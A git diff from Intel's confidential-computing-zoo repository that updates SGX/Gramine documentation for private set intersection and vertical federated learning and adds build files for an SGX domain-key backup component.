### Encrypted runtime environment
-Intel SGX technology offers hardware-based memory encryption that isolates specific application code and data in memory and it allows user-level code to allocate private regions of memory, called enclaves, which are designed to be protected from processes running at higher privilege levels.
+Intel SGX technology offers hardware-based memory encryption that isolates specific application code and data in memory, and it allows user-level code to allocate private regions of memory, called enclaves, which are designed to be protected from processes running at higher privilege levels.
Intel SGX also helps protect against SW attacks even if OS/drivers/BIOS/VMM/SMM are compromised and helps increase protections for secrets even when attacker has full control of platform.
### Encrypted transmission and remote attestation
-In the communication part of Private Set Intersection solution, we use Intel SGX Remote Attestation with Transport Layer Security (RA-TLS) technology to perform encrypted transmission and verification of program integrity.[[1]](#refer-anchor-1) RA-TLS integrates Intel SGX remote attestation with the establishment of a standard Transport Layer Security (TLS) connection. Remote attestation is performed during the connection setup by embedding the attestation evidence into the endpoints TLS certificate.
+In the communication part of Private Set Intersection solution, we use Intel SGX Remote Attestation with Transport Layer Security (RA-TLS) technology to perform encrypted transmission and verification of program integrity. RA-TLS integrates Intel SGX remote attestation with the establishment of a standard Transport Layer Security (TLS) connection. Remote attestation is performed during the connection setup by embedding the attestation evidence into the endpoints TLS certificate.
## Privacy protection
This solution mainly contains the items listed below:
@@ -32,7 +32,9 @@ To solve the problem of how to verify the untrusted application integrity, we us
## Workflow
Our solution is implemented in a trusted execution environment, and its architecture is as follows:
-
+
+
+
The computing phase can be divided into the following steps:
@@ -44,7 +46,7 @@ The computing phase can be divided into the following steps:
**4.** The server side sends the calculation results back to each participant through secure transmission.
-In the above process, the client can only obtain the intersection data, but not the non-intersection data belonging to other clients. The server side is only responsible for computing, and will not save or steal the data sent by clients.
+In the above process, the client can only obtain the intersection data, but not the non-intersection data belonging to other clients. The server side is only responsible for computing and will not save or steal the data sent by clients.
## Build and installation
@@ -53,173 +55,328 @@ images for developing the gRPC RA-TLS application.
### Prerequisites
-- Ubuntu 18.04. This solution should work on other Linux distributions as well,
- but for simplicity we provide the steps for Ubuntu 18.04 only.
+- Ubuntu 20.04. This solution should work on other Linux distributions as well,
+ but for simplicity we provide the steps for Ubuntu 20.04 only.
-- Docker Engine. Docker Engine is an open source containerization technology for
+- Docker Engine. Docker Engine is an open-source containerization technology for
building and containerizing your applications.
Please follow [this guide](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script)
to install Docker engine.
-
-- Private Set Intersection source package:
+- CCZoo Private Set Intersection source package:
```shell
git clone https://github.com/intel/confidential-computing-zoo.git
```
- Intel SGX Driver and SDK/PSW. You need a machine that supports Intel SGX and FLC/DCAP. Please follow this guide to install the Intel SGX driver and SDK/PSW on the machine/VM. Make sure to install the driver with ECDSA/DCAP attestation.
-After Intel SGX DCAP is setup, verify the Intel Architectural Enclave Service Manager is active (running)::
-
- ```shell
- sudo systemctl status aesmd
- ```
-
-- Gramine. Follow [Quick Start](https://gramine.readthedocs.io/en/latest/quickstart.html)
- to learn more about it.
-
-### Setup LibOS
-
- - Gramine
- ```bash
- cd cczoo/common/docker/gramine
- ./build_docker_image.sh [ubuntu/anolisos]
- ```
-
-### Setup develop environment of gRPC RA-TLS based on Intel SGX
-
- - Gramine
- ```bash
- cd -
- cd cczoo/psi/gramine
- ./build_docker_image.sh [ubuntu/anolisos]
- ```
-
-## Run PSI examples
-We use a two-way atttestation scheme. The client and server on both sides of the communication authenticate each other.
+ For deployments on Microsoft Azure, a script is provided to install general dependencies, Intel SGX DCAP dependencies, and the Azure DCAP Client. To run this script:
-This example only shows an example of deploying PSI locally. If you want to deploy the participants on different machines, please make sure that the correct measurements are filled in the `dynamic_config.json` file to ensure that the remote verification passes.
-
-- Gramine
-
- Prepare the docker container
-
- ```bash
- cd cczoo/psi
-
- #start and enter the docker container
- ./start_container.sh
- ```
-
- ### Run the Python example
-
- Build Python example
-
- ```bash
- cd CI-Examples/psi/python
- ./build.sh
- ```
-
- Two-party:
-
- ```bash
- # Run the server
- gramine-sgx python -u server.py -host localhost:50051 -config dynamic_config.json &
-
- # Run the client1
- gramine-sgx python -u data_provider1.py -host localhost:50051 -config dynamic_config.json -is_chief True -data_dir "data1.txt" -client_num 2 &
-
- # Run the client2
- gramine-sgx python -u data_provider2.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data2.txt" -client_num 2 &
+ ```shell
+ cd cczoo/psi
+ ./setup_azure_vm.sh
```
+ After Intel SGX DCAP is setup, verify the Intel Architectural Enclave Service Manager is active (running):
- Each client will get the intersection result:
```shell
- ['car', 'cat', 'train']
+ systemctl status aesmd
```
- Our solution supports the intersection of three and more parties. Examples of three-party intersection:
+### Solution Ingredients
+This solution uses the following ingredients, which are installed as part of the container build process.
+- [Gramine](https://gramine.readthedocs.io)
- ```bash
- # Run the server
- gramine-sgx python -u server.py -host localhost:50051 -config dynamic_config.json &
-
- # Run the client1
- gramine-sgx python -u data_provider1.py -host localhost:50051 -config dynamic_config.json -is_chief True -data_dir "data1.txt" -client_num 3 &
-
- # Run the client2
- gramine-sgx python -u data_provider2.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data2.txt" -client_num 3 &
-
- # Run the client3
- gramine-sgx python -u data_provider3.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data3.txt" -client_num 3 &
- ```
+### Setup docker images
+For Ubuntu:
- Each client will get the intersection result:
- ```shell
- ['train', 'car', 'cat']
+- For deployments on Microsoft Azure:
+ ```bash
+ cd cczoo/psi/gramine
+ AZURE=1 ./build_docker_image.sh ubuntu:20.04
```
-
- ### Run the C++ example
-
- Build C++ example
-
+- For other cloud deployments:
```bash
- cd CI-Examples/psi/cpp
- ./build.sh
+ cd cczoo/psi/gramine
+ ./build_docker_image.sh ubuntu:20.04
```
- Two-party:
+For Anolis OS:
+
+- For deployments on Microsoft Azure: Currently not supported.
+- For other cloud deployments:
```bash
- # Run the server
- cd runtime/server
- gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json &
-
- # Run the client1
- cd -
- cd runtime/data_provider1
- gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=true -client_num=2 data_dir="data1.txt" client_name="data_provider1" &
-
- # Run the client2
+ cd cczoo/common/docker/gramine
+ ./build_docker_image.sh anolisos
cd -
- cd runtime/data_provider2
- gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=2 data_dir="data2.txt" client_name="data_provider2" &
+ cd cczoo/psi/gramine
+ ./build_docker_image.sh anolisos
```
- Each client will get the intersection result:
- ```shell
- car
- cat
- train
- ```
+## Run PSI examples
- Three-party:
+This solution uses a two-way attestation scheme. The client and server on both sides of the communication authenticate each other.
- ```bash
- # Run the server
- cd runtime/server
- gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json &
-
- # Run the client1
- cd -
- cd runtime/data_provider1
- gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=true -client_num=3 data_dir="data1.txt" client_name="data_provider1" &
-
- # Run the client2
- cd -
- cd runtime/data_provider2
- gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=3 data_dir="data2.txt" client_name="data_provider2" &
-
- # Run the client3
- cd -
- cd runtime/data_provider3
- gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=3 data_dir="data3.txt" client_name="data_provider3" &
- ```
+This example only shows an example of deploying PSI locally. If you want to deploy the participants on different machines, please make sure that the correct measurements are filled in the `dynamic_config.json` file to ensure that the remote verification passes.
- Each client will get the intersection result:
- ```shell
- car
- cat
- train
- ```
+### Prepare the docker container
+Start four containers (one server, three clients).
+```bash
+cd cczoo/psi
+```
+
+- For deployments on Microsoft Azure:
+
+ In terminal 1, start the server container:
+ ```bash
+ ./start_container.sh server
+ ```
+
+ In terminal 2, start the client1 container:
+ ```bash
+ ./start_container.sh client1
+ ```
+
+ In terminal 3, start the client2 container:
+ ```bash
+ ./start_container.sh client2
+ ```
+
+ In terminal 4, start the client3 container:
+ ```bash
+ ./start_container.sh client3
+ ```
+
+- For other cloud deployments:
+
+ In terminal 1, start the server container:
+ ```bash
+ ./start_container.sh server
+ ```
+
+ In terminal 2, start the client1 container:
+ ```bash
+ ./start_container.sh client1
+ ```
+
+ In terminal 3, start the client2 container:
+ ```bash
+ ./start_container.sh client2
+ ```
+
+ In terminal 4, start the client3 container:
+ ```bash
+ ./start_container.sh client3
+ ```
+
+### Run the Python example
+
+For each container (server, client1, client2, client3), build the Python example and note the mr_enclave value from the build output.
+
+```bash
+cd /gramine/CI-Examples/psi/python
+./build.sh
+```
+Example mr_enclave value from each container.
+
+server:
+```bash
+mr_enclave: 7d61ddedb4b8d3743f61ad255bae0ab56d3e3ad2547ef921476b25ac3ccad5ad
+```
+
+client1:
+```bash
+mr_enclave: d65c397169a981d6a6a49c658235e5ac2b3f86944f957d942d406c79049e135a
+```
+
+client2:
+```bash
+mr_enclave: 39d2753b9c9a3da298edb685e5a436f921227956454a54b3f73881db350486e6
+```
+
+client3:
+```bash
+mr_enclave: 7762afd0bb1adf5374bf9737f6d7b102ae585f04b675bca64125761bb050787b
+```
+Modify /gramine/CI-Examples/psi/python/dynamic_config.json in each container as described below. Do not copy and paste the following example values. Use the actual mr_enclave values from your containers.
+
+From the server container, modify /gramine/CI-Examples/psi/python/dynamic_config.json to include sgx_mrs entries containing the mr_enclave value for each client. For example:
+```bash
+{
+ "verify_mr_enclave": "on",
+ "verify_mr_signer": "on",
+ "verify_isv_prod_id": "on",
+ "verify_isv_svn": "on",
+ "sgx_mrs": [
+ {
+ "mr_enclave": "d65c397169a981d6a6a49c658235e5ac2b3f86944f957d942d406c79049e135a",
+ "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3",
+ "isv_prod_id": "0",
+ "isv_svn": "0"
+ },
+ {
+ "mr_enclave": "39d2753b9c9a3da298edb685e5a436f921227956454a54b3f73881db350486e6",
+ "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3",
+ "isv_prod_id": "0",
+ "isv_svn": "0"
+ },
+ {
+ "mr_enclave": "7762afd0bb1adf5374bf9737f6d7b102ae585f04b675bca64125761bb050787b",
+ "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3",
+ "isv_prod_id": "0",
+ "isv_svn": "0"
+ }
+ ]
+}
+```
+
+From the client1, client2, client3 containers, modify /gramine/CI-Examples/psi/python/dynamic_config.json to include a sgx_mrs entry containing the mr_enclave value for the server. For example:
+```bash
+{
+ "verify_mr_enclave": "on",
+ "verify_mr_signer": "on",
+ "verify_isv_prod_id": "on",
+ "verify_isv_svn": "on",
+ "sgx_mrs": [
+ {
+ "mr_enclave": "7d61ddedb4b8d3743f61ad255bae0ab56d3e3ad2547ef921476b25ac3ccad5ad",
+ "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3",
+ "isv_prod_id": "0",
+ "isv_svn": "0"
+ }
+ ]
+}
+```
+
+For each container (server, client1, client2, client3), run the specified script as described below.
+
+- Two-party:
+
+server:
+```bash
+gramine-sgx python -u server.py -host localhost:50051 -config dynamic_config.json
+```
+
+client1:
+```bash
+gramine-sgx python -u data_provider1.py -host localhost:50051 -config dynamic_config.json -is_chief True -data_dir "data1.txt" -client_num 2
+```
+
+client2:
+```bash
+gramine-sgx python -u data_provider2.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data2.txt" -client_num 2
+```
+
+Each client will return the following intersection result:
+```shell
+['car', 'cat', 'train']
+```
+
+In the server container, use Ctrl-C to stop the server process.
+
+- Three-party:
+
+server:
+```bash
+gramine-sgx python -u server.py -host localhost:50051 -config dynamic_config.json
+```
+
+client1:
+```bash
+gramine-sgx python -u data_provider1.py -host localhost:50051 -config dynamic_config.json -is_chief True -data_dir "data1.txt" -client_num 3
+```
+
+client2:
+```bash
+gramine-sgx python -u data_provider2.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data2.txt" -client_num 3
+```
+
+client3:
+```bash
+gramine-sgx python -u data_provider3.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data3.txt" -client_num 3
+```
+
+Each client will return the following intersection result:
+```shell
+['train', 'car', 'cat']
+```
+
+In the server container, use Ctrl-C to stop the server process.
+
+### Run the C++ example
+
+Before performing the steps below, the Python example must be built first (as described in the previous section).
+
+For each container (server, client1, client2, client3), build the C++ example.
+
+```bash
+cd /gramine/CI-Examples/psi/cpp
+./build.sh
+```
+
+For each container (server, client1, client2, client3), run the specified script as described below.
+
+- Two-party:
+
+server:
+```bash
+cd /gramine/CI-Examples/psi/cpp/runtime/server
+gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json
+```
+
+client1:
+```bash
+cd /gramine/CI-Examples/psi/cpp/runtime/data_provider1
+gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=true -client_num=2 data_dir="data1.txt" client_name="data_provider1"
+```
+
+client2:
+```bash
+cd /gramine/CI-Examples/psi/cpp/runtime/data_provider2
+gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=2 data_dir="data2.txt" client_name="data_provider2"
+```
+
+Each client will return the following intersection result:
+```shell
+car
+cat
+train
+```
+
+In the server container, use Ctrl-C to stop the server process.
+
+- Three-party:
+
+server:
+```bash
+cd /gramine/CI-Examples/psi/cpp/runtime/server
+gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json
+```
+
+client1:
+```bash
+cd /gramine/CI-Examples/psi/cpp/runtime/data_provider1
+gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=true -client_num=3 data_dir="data1.txt" client_name="data_provider1"
+```
+
+client2:
+```bash
+cd /gramine/CI-Examples/psi/cpp/runtime/data_provider2
+gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=3 data_dir="data2.txt" client_name="data_provider2"
+```
+
+client3:
+```bash
+cd /gramine/CI-Examples/psi/cpp/runtime/data_provider3
+gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=3 data_dir="data3.txt" client_name="data_provider3"
+```
+
+Each client will return the following intersection result:
+```shell
+car
+cat
+train
+```
+
+In the server container, use Ctrl-C to stop the server process.
diff --git a/documents/readthedoc/docs/source/Solutions/tensorflow-serving-cluster/index.rst b/documents/readthedoc/docs/source/Solutions/tensorflow-serving-cluster/index.rst
index 41968566..f9f8d8b1 100644
--- a/documents/readthedoc/docs/source/Solutions/tensorflow-serving-cluster/index.rst
+++ b/documents/readthedoc/docs/source/Solutions/tensorflow-serving-cluster/index.rst
@@ -120,6 +120,7 @@ Prerequisites
FLC/DCAP. Please follow `this guide `__
to install the Intel SGX driver and SDK/PSW on the machine/VM. Make sure to install the driver
with ECDSA/DCAP attestation.
+
For deployments on Microsoft Azure, a script is provided to install general dependencies, Intel SGX DCAP dependencies, and the Azure DCAP Client. To run this script::
cd /tensorflow-serving
diff --git a/documents/readthedoc/docs/source/Solutions/vertical-federated-learning/vfl.md b/documents/readthedoc/docs/source/Solutions/vertical-federated-learning/vfl.md
index d087fdf7..5967aa9e 100644
--- a/documents/readthedoc/docs/source/Solutions/vertical-federated-learning/vfl.md
+++ b/documents/readthedoc/docs/source/Solutions/vertical-federated-learning/vfl.md
@@ -60,24 +60,29 @@ We encrypt models with cryptographic (wrap) key by using Protected-File mode in
- Ubuntu 18.04. This solution should work on other Linux distributions as well, but for simplicity we provide the steps for Ubuntu 18.04 only.
-- Docker Engine. Docker Engine is an open source containerization technology for building and containerizing your applications. In this solution, Gramine, Fedlearner, gRPC will be built in Docker images. Please follow [this guide](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script) to install Docker engine.
+- Docker Engine. Docker Engine is an open source containerization technology for building and containerizing your applications. In this solution, Gramine, Fedlearner, gRPC will be built in a Docker image. Please follow [this guide](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script) to install Docker Engine. The Docker daemon's storage location (/var/lib/docker for example) should have at least 32GB available.
-- SGX capable platform. Intel SGX Driver and SDK/PSW. You need a machine that supports Intel SGX and FLC/DCAP. Please follow [this guide](https://download.01.org/intel-sgx/latest/linux-latest/docs/) to install the Intel SGX driver and SDK/PSW. One way to verify SGX enabling status in your machine is to run [QuoteGeneration](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteGeneration) and [QuoteVerification](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteVerification) successfully.
-
-Here, we will demonstrate how to run leader and follower from two containers.
+- CCZoo Vertical Federated Learning source package:
+ ```shell
+ git clone https://github.com/intel/confidential-computing-zoo.git
+ ```
+- SGX capable platform. Intel SGX Driver and SDK/PSW. You need a machine that supports Intel SGX and FLC/DCAP. If the Intel SGX driver and SDK/PSW is already installed on your machine/VM, the following steps can be skipped. For example, the following steps are not necessary and can be skipped for Azure deployments.
+ Please follow [this guide](https://download.01.org/intel-sgx/latest/linux-latest/docs/) to install the Intel SGX driver and SDK/PSW. One way to verify SGX enabling status in your machine is to run [QuoteGeneration](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteGeneration) and [QuoteVerification](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteVerification) successfully.
## Executing Fedlearner in SGX
### 1. Download source code
-Download the [Fedlearner source code](https://github.com/bytedance/fedlearner/tree/fix_dev_sgx) which is a git submodule of CCZoo.
+Download the [Fedlearner source code](https://github.com/bytedance/fedlearner/tree/fix_dev_sgx):
```
-git submodule init
-git submodule update
cd cczoo/vertical_fl
+git clone -b fix_dev_sgx https://github.com/bytedance/fedlearner.git vertical_fl
+cd vertical_fl
+git checkout 75e8043
+cd ..
./apply_overlay.sh
cd vertical_fl
```
@@ -107,22 +112,11 @@ fedlearner-sgx-dev latest 8c3c7a05f973 45 hours ago 15.2GB
Start the leader and follower containers:
```
-docker run -itd \
- --name=fedlearner_leader \
- --restart=unless-stopped \
- -p 50051:50051 \
- --device=/dev/sgx_enclave:/dev/sgx/enclave \
- --device=/dev/sgx_provision:/dev/sgx/provision \
- fedlearner-sgx-dev:latest \
- bash
-docker run -itd \
- --name=fedlearner_follower \
- --restart=unless-stopped \
- -p 50052:50052 \
- --device=/dev/sgx_enclave:/dev/sgx/enclave \
- --device=/dev/sgx_provision:/dev/sgx/provision \
- fedlearner-sgx-dev:latest \
- bash
+docker run -itd --name=fedlearner_leader --restart=unless-stopped -p 50051:50051 \
+ --device=/dev/sgx_enclave:/dev/sgx/enclave --device=/dev/sgx_provision:/dev/sgx/provision fedlearner-sgx-dev:latest bash
+
+docker run -itd --name=fedlearner_follower --restart=unless-stopped -p 50052:50052 \
+ --device=/dev/sgx_enclave:/dev/sgx/enclave --device=/dev/sgx_provision:/dev/sgx/provision fedlearner-sgx-dev:latest bash
```
Take note of the container IP addresses for later steps:
@@ -170,6 +164,14 @@ Start the aesm service in both the leader and follower containers:
/root/start_aesm_service.sh
```
+Verify the aesm service is running in both the leader and follower containers:
+
+```
+# ps aux |grep aesm_service
+root 35 0.1 0.0 293004 16788 ? Ssl 03:26 0:00 /opt/intel/sgx-aesm-service/aesm/aesm_service
+root 44 0.0 0.0 13220 1068 pts/1 S+ 03:26 0:00 grep --color=auto aesm_service
+```
+
#### 4. Prepare data
Generate data in both the leader and follower containers:
@@ -223,11 +225,11 @@ dynamic_config.json:
#### 6. Run the distributing training
-Start the training process in the follower container:
+Start the training process in the follower container, replacing XXX.XXX.XXX.XXX with the leader container IP address. For example:
```
cd /gramine/CI-Examples/wide_n_deep
-peer_ip=REPLACE_WITH_LEADER_IP_ADDR
+peer_ip=XXX.XXX.XXX.XXX
./test-ps-sgx.sh follower $peer_ip
```
@@ -237,11 +239,11 @@ Wait until the follower training process is ready, when the following log is dis
2022-10-12 02:53:47,002 [INFO]: waiting master ready... (fl_logging.py:95)
```
-Start the training process in the leader container:
+Start the training process in the leader container, replacing XXX.XXX.XXX.XXX with the follower container IP address. For example:
```
cd /gramine/CI-Examples/wide_n_deep
-peer_ip=REPLACE_WITH_FOLLOWER_IP_ADDR
+peer_ip=XXX.XXX.XXX.XXX
./test-ps-sgx.sh leader $peer_ip
```
diff --git a/documents/readthedoc/docs/source/index.rst b/documents/readthedoc/docs/source/index.rst
index 000d2286..7d6a926e 100644
--- a/documents/readthedoc/docs/source/index.rst
+++ b/documents/readthedoc/docs/source/index.rst
@@ -37,6 +37,7 @@ Table of Contents
Solutions/bigdl-ppml/index.md
Solutions/phe_homo_lr/phe_homo_lr.md
Solutions/psi/PSI.md
+ Solutions/httpa/index.md
.. toctree::
:maxdepth: 1
@@ -48,7 +49,10 @@ Table of Contents
:maxdepth: 1
:caption: Penetration Testing
- Pentests/readsecret.md
+ Pentests/Overview.md
+ Pentests/unauthorized_access/redis/index.md
+ Pentests/memory_attack/sgx/key_generator/index.md
+ Pentests/memory_attack/sgx/confidential_inference/index.md
.. toctree::
:maxdepth: 1
+
+## Build Instructions
+
+- If you need to synchronize the domain key between the host machine (the machine that has the domain key) and the backup machine (the machine that requests the domain key from the host machine), then you can compile first.
+
+``` bash
+make
+```
+
+- In this way, the directory `out/` will be generated, and in this directory, there will be the following files
+
+```
+rkeyserver
+
+lib
+```
+
+- Enter the folder rkeyserver, there will be the following file rkeyserver
+
+```
+ libenclave-rkeyserver.signed.so
+
+ libenclave-rkeyserver.so
+```
+
+- On the host side, execute
+
+``` bash
+./rkeyserver
+```
+
+- on the backup machine, execute
+
+``` bash
+./rkeyserver -i 10.23.100.2 -p 8888
+```
+
+`-i` is followed by the ip address of the host (`10.23.100.2` is used here as an example), `-p` is the port number of the host, the default is `8888`.
+
+- If the following message is displayed
+
+```
+INFO [App/ra_getkey.cpp(454) -> start_getkey]: Successfully received the DomainKey from deploy server.
+```
+
+It means that the domain key is successfully obtained on the backup machine. By default, the domain key is stored in the directory `/etc/rkey.bin` in encrypted form.
+
+It is worth mentioning that when the `/etc/rkey.bin` file already exists, when the backup machine continues to request the domain key from the host, the original `rkey.bin` file will be replaced by the new `rkey.bin` file and the following information is output on the screen
+
+```
+file already exist, substitute by new file
+```
+
+> ***Many source codes in this project come from [intel/ehsm](https://github.com/intel/ehsm/tree/t-multi-dkeyserver-reference)***
diff --git a/cczoo/machine_binding_key_backup/buildenv.mk b/cczoo/machine_binding_key_backup/buildenv.mk
new file mode 100644
index 00000000..cb532c6e
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/buildenv.mk
@@ -0,0 +1,135 @@
+#
+# Copyright (c) 2022 Intel Corporation
+# SPDX-License-Identifier: Apache-2.0
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+######## auto_version Settings ########
+DATE_STRING := `date "+20%y.%m.%d %k:%M"`
+KMS_GIT_SHA=$(shell git rev-parse --short=7 --verify HEAD)
+
+# -------------------------------------------------------------------
+# Function : parent-dir
+# Arguments: 1: path
+# Returns : Parent dir or path of $1, with final separator removed.
+# -------------------------------------------------------------------
+parent-dir = $(patsubst %/,%,$(dir $(1:%/=%)))
+
+# ------------------------------------------------------------------
+# Macro : my-dir
+# Returns : the directory of the current Makefile
+# Usage : $(my-dir)
+# ------------------------------------------------------------------
+my-dir = $(realpath $(call parent-dir,$(lastword $(MAKEFILE_LIST))))
+
+ROOT_DIR := $(call my-dir)
+ifneq ($(words $(subst :, ,$(ROOT_DIR))), 1)
+ $(error main directory cannot contain spaces nor colons)
+endif
+
+######## Output Settings ########
+TOPDIR = $(ROOT_DIR)
+OUTDIR := out
+OUTLIB_DIR := $(OUTDIR)/lib
+
+######## Compiler Settings ########
+CP = cp
+CC ?= gcc
+CXX ?= g++
+RM = rm -f
+
+######## SGX SDK Settings ########
+
+SGX_SDK ?= /opt/intel/sgxsdk
+SGX_MODE ?= HW
+SGX_ARCH ?= x64
+SGX_DEBUG ?= 1
+#SUPPLIED_KEY_DERIVATION ?= 1
+
+include $(SGX_SDK)/buildenv.mk
+
+ifeq ($(shell getconf LONG_BIT), 32)
+ SGX_ARCH := x86
+else ifeq ($(findstring -m32, $(CXXFLAGS)), -m32)
+ SGX_ARCH := x86
+endif
+
+ifeq ($(SGX_ARCH), x86)
+ SGX_COMMON_FLAGS := -m32
+ SGX_LIBRARY_PATH := $(SGX_SDK)/lib
+ SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x86/sgx_sign
+ SGX_EDGER8R := $(SGX_SDK)/bin/x86/sgx_edger8r
+else
+ SGX_COMMON_FLAGS := -m64
+ SGX_LIBRARY_PATH := $(SGX_SDK)/lib64
+ SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x64/sgx_sign
+ SGX_EDGER8R := $(SGX_SDK)/bin/x64/sgx_edger8r
+endif
+
+ifeq ($(SGX_DEBUG), 1)
+ifeq ($(SGX_PRERELEASE), 1)
+$(error Cannot set SGX_DEBUG and SGX_PRERELEASE at the same time!!)
+endif
+endif
+
+ifeq ($(SUPPLIED_KEY_DERIVATION), 1)
+ SGX_COMMON_FLAGS += -DSUPPLIED_KEY_DERIVATION
+endif
+
+ifeq ($(SGX_DEBUG), 1)
+ SGX_COMMON_FLAGS += -O0 -ggdb3
+else
+ SGX_COMMON_FLAGS += -O2
+endif
+
+SGX_COMMON_FLAGS += -Wall -Wextra -Winit-self -Wpointer-arith -Wreturn-type \
+ -Waddress -Wsequence-point -Wformat-security \
+ -Wmissing-include-dirs -Wfloat-equal -Wundef -Wshadow \
+ -Wcast-align -Wredundant-decls
+
+#SGX_COMMON_CFLAGS += $(SGX_COMMON_FLAGS) -Wstrict-prototypes -Wunsuffixed-float-constants -Wcast-qual
+
+SGX_COMMON_CXXFLAGS := $(SGX_COMMON_FLAGS) -Wnon-virtual-dtor -std=c++11
+
+######## BUILD Settings ########
+ifeq ($(SGX_MODE), HW)
+ifeq ($(SGX_DEBUG), 1)
+ Build_Mode = HW_DEBUG
+else ifeq ($(SGX_PRERELEASE), 1)
+ Build_Mode = HW_PRERELEASE
+else
+ Build_Mode = HW_RELEASE
+endif
+else
+ifeq ($(SGX_DEBUG), 1)
+ Build_Mode = SIM_DEBUG
+else ifeq ($(SGX_PRERELEASE), 1)
+ Build_Mode = SIM_PRERELEASE
+else
+ Build_Mode = SIM_RELEASE
+endif
+endif
+
+ifneq ($(SGX_MODE), HW)
+ Urts_Library_Name := sgx_urts_sim
+else
+ Urts_Library_Name := sgx_urts
+endif
+
+ifneq ($(SGX_MODE), HW)
+ Trts_Library_Name := sgx_trts_sim
+ Service_Library_Name := sgx_tservice_sim
+else
+ Trts_Library_Name := sgx_trts
+ Service_Library_Name := sgx_tservice
+endif
+
diff --git a/cczoo/machine_binding_key_backup/docs/arch-of-back-sgxkms.png b/cczoo/machine_binding_key_backup/docs/arch-of-back-sgxkms.png
new file mode 100644
index 00000000..2acc3c31
Binary files /dev/null and b/cczoo/machine_binding_key_backup/docs/arch-of-back-sgxkms.png differ
diff --git a/cczoo/machine_binding_key_backup/include/datatypes.h b/cczoo/machine_binding_key_backup/include/datatypes.h
new file mode 100644
index 00000000..967d91c6
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/datatypes.h
@@ -0,0 +1,125 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "sgx_report.h"
+#include "sgx_eid.h"
+#include "sgx_ecp_types.h"
+#include "sgx_dh.h"
+#include "sgx_tseal.h"
+
+#ifndef DATATYPES_H_
+#define DATATYPES_H_
+
+#define DH_KEY_SIZE 20
+#define NONCE_SIZE 16
+#define MAC_SIZE 16
+#define MAC_KEY_SIZE 16
+#define PADDING_SIZE 16
+
+#define EH_API_KEY_SIZE 32
+#define UUID_STR_LEN 37
+
+#define TAG_SIZE 16
+#define IV_SIZE 12
+
+#define DERIVE_MAC_KEY 0x0
+#define DERIVE_SESSION_KEY 0x1
+#define DERIVE_VK1_KEY 0x3
+#define DERIVE_VK2_KEY 0x4
+
+#define CLOSED 0x0
+#define IN_PROGRESS 0x1
+#define ACTIVE 0x2
+
+#define SGX_DOMAIN_KEY_SIZE 16
+
+#define MESSAGE_EXCHANGE 0x0
+
+#define MESSAGE_EXCHANGE_CMD_DK 0x1
+
+#define ENCLAVE_TO_ENCLAVE_CALL 0x1
+
+#define INVALID_ARGUMENT -2 ///< Invalid function argument
+#define LOGIC_ERROR -3 ///< Functional logic error
+#define FILE_NOT_FOUND -4 ///< File not found
+
+#define VMC_ATTRIBUTE_MASK 0xFFFFFFFFFFFFFFCB
+
+#define _T(x) x
+
+#define UNUSED(val) (void)(val)
+
+#define TCHAR char
+
+#define _TCHAR char
+
+#define scanf_s scanf
+
+#define _tmain main
+
+#ifndef INT_MAX
+#define INT_MAX 0x7fffffff
+#endif
+
+#ifndef SAFE_FREE
+#define SAFE_FREE(ptr) {if (NULL != (ptr)) {free(ptr); (ptr) = NULL;}}
+#endif
+
+#ifndef _ERRNO_T_DEFINED
+#define _ERRNO_T_DEFINED
+typedef int errno_t;
+#endif
+
+
